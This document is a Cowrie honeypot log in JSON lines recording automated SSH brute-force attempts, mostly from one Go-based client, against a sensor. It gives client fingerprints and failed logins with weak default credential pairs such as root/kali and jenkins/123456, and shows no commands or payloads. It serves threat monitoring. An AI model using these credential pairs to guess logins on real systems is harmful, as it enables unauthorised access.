{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":38878,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6d55f73b66f","protocol":"ssh","message":"New connection: 141.11.88.14:38878 (10.17.0.5:22) [session: f6d55f73b66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:32.486226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:32.564703Z","src_ip":"141.11.88.14","session":"f6d55f73b66f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:32.650170Z","src_ip":"141.11.88.14","session":"f6d55f73b66f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marketing","password":"123456","message":"login attempt [marketing/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:33.194796Z","src_ip":"141.11.88.14","session":"f6d55f73b66f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:34.381154Z","src_ip":"141.11.88.14","session":"f6d55f73b66f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60734,"dst_ip":"10.17.0.5","dst_port":22,"session":"80472c3a4a52","protocol":"ssh","message":"New connection: 141.11.88.14:60734 (10.17.0.5:22) [session: 80472c3a4a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:39.940890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:40.066065Z","src_ip":"141.11.88.14","session":"80472c3a4a52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:40.069765Z","src_ip":"141.11.88.14","session":"80472c3a4a52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:40.965700Z","src_ip":"141.11.88.14","session":"80472c3a4a52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37002,"dst_ip":"159.203.135.109","dst_port":23,"session":"18b1462ba17e","protocol":"telnet","message":"New connection: 128.199.8.54:37002 (159.203.135.109:23) [session: 18b1462ba17e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:41.775660Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:42.117746Z","src_ip":"141.11.88.14","session":"80472c3a4a52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":33451,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa2dda6bad54","protocol":"ssh","message":"New connection: 178.20.210.208:33451 (159.203.135.109:22) [session: fa2dda6bad54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:44.091931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:44.096816Z","src_ip":"178.20.210.208","session":"fa2dda6bad54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:44.195068Z","src_ip":"178.20.210.208","session":"fa2dda6bad54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"sorinadrian","message":"login attempt [test/sorinadrian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:44.581815Z","src_ip":"178.20.210.208","session":"fa2dda6bad54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:45.685237Z","src_ip":"178.20.210.208","session":"fa2dda6bad54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60782,"dst_ip":"10.17.0.5","dst_port":22,"session":"70a8f061a5d7","protocol":"ssh","message":"New connection: 141.11.88.14:60782 (10.17.0.5:22) [session: 70a8f061a5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:46.697863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:46.815417Z","src_ip":"141.11.88.14","session":"70a8f061a5d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:46.819236Z","src_ip":"141.11.88.14","session":"70a8f061a5d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:47.789522Z","src_ip":"141.11.88.14","session":"70a8f061a5d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:48.904790Z","src_ip":"141.11.88.14","session":"70a8f061a5d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":32940,"dst_ip":"10.17.0.5","dst_port":22,"session":"86a50ce3a788","protocol":"ssh","message":"New connection: 141.11.88.14:32940 (10.17.0.5:22) [session: 86a50ce3a788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:54.075047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:54.147290Z","src_ip":"141.11.88.14","session":"86a50ce3a788","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:54.229271Z","src_ip":"141.11.88.14","session":"86a50ce3a788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"123456","message":"login attempt [jenkins/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:55.174243Z","src_ip":"141.11.88.14","session":"86a50ce3a788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:56.271248Z","src_ip":"141.11.88.14","session":"86a50ce3a788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14408,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1b4997dcd12","protocol":"ssh","message":"New connection: 141.11.88.14:14408 (10.17.0.5:22) [session: f1b4997dcd12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:00.785779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:01.125937Z","src_ip":"141.11.88.14","session":"f1b4997dcd12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:01.137879Z","src_ip":"141.11.88.14","session":"f1b4997dcd12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"useruser","message":"login attempt [user/useruser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:02.810292Z","src_ip":"141.11.88.14","session":"f1b4997dcd12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:03.980559Z","src_ip":"141.11.88.14","session":"f1b4997dcd12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":16100,"dst_ip":"10.17.0.5","dst_port":22,"session":"0047bbd59781","protocol":"ssh","message":"New connection: 141.11.88.14:16100 (10.17.0.5:22) [session: 0047bbd59781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:08.547083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:08.628402Z","src_ip":"141.11.88.14","session":"0047bbd59781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:08.715744Z","src_ip":"141.11.88.14","session":"0047bbd59781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jeff","password":"jeff","message":"login attempt [jeff/jeff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:09.046299Z","src_ip":"141.11.88.14","session":"0047bbd59781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:10.147919Z","src_ip":"141.11.88.14","session":"0047bbd59781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":16148,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9f504113658","protocol":"ssh","message":"New connection: 141.11.88.14:16148 (10.17.0.5:22) [session: a9f504113658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:17.213679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:17.381428Z","src_ip":"141.11.88.14","session":"a9f504113658","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:17.386296Z","src_ip":"141.11.88.14","session":"a9f504113658","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tfj","password":"tfj","message":"login attempt [tfj/tfj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:18.379478Z","src_ip":"141.11.88.14","session":"a9f504113658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:19.865720Z","src_ip":"141.11.88.14","session":"a9f504113658","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59846,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6fb7c3bf97a","protocol":"ssh","message":"New connection: 141.11.88.14:59846 (10.17.0.5:22) [session: a6fb7c3bf97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:14:24.610368Z"}
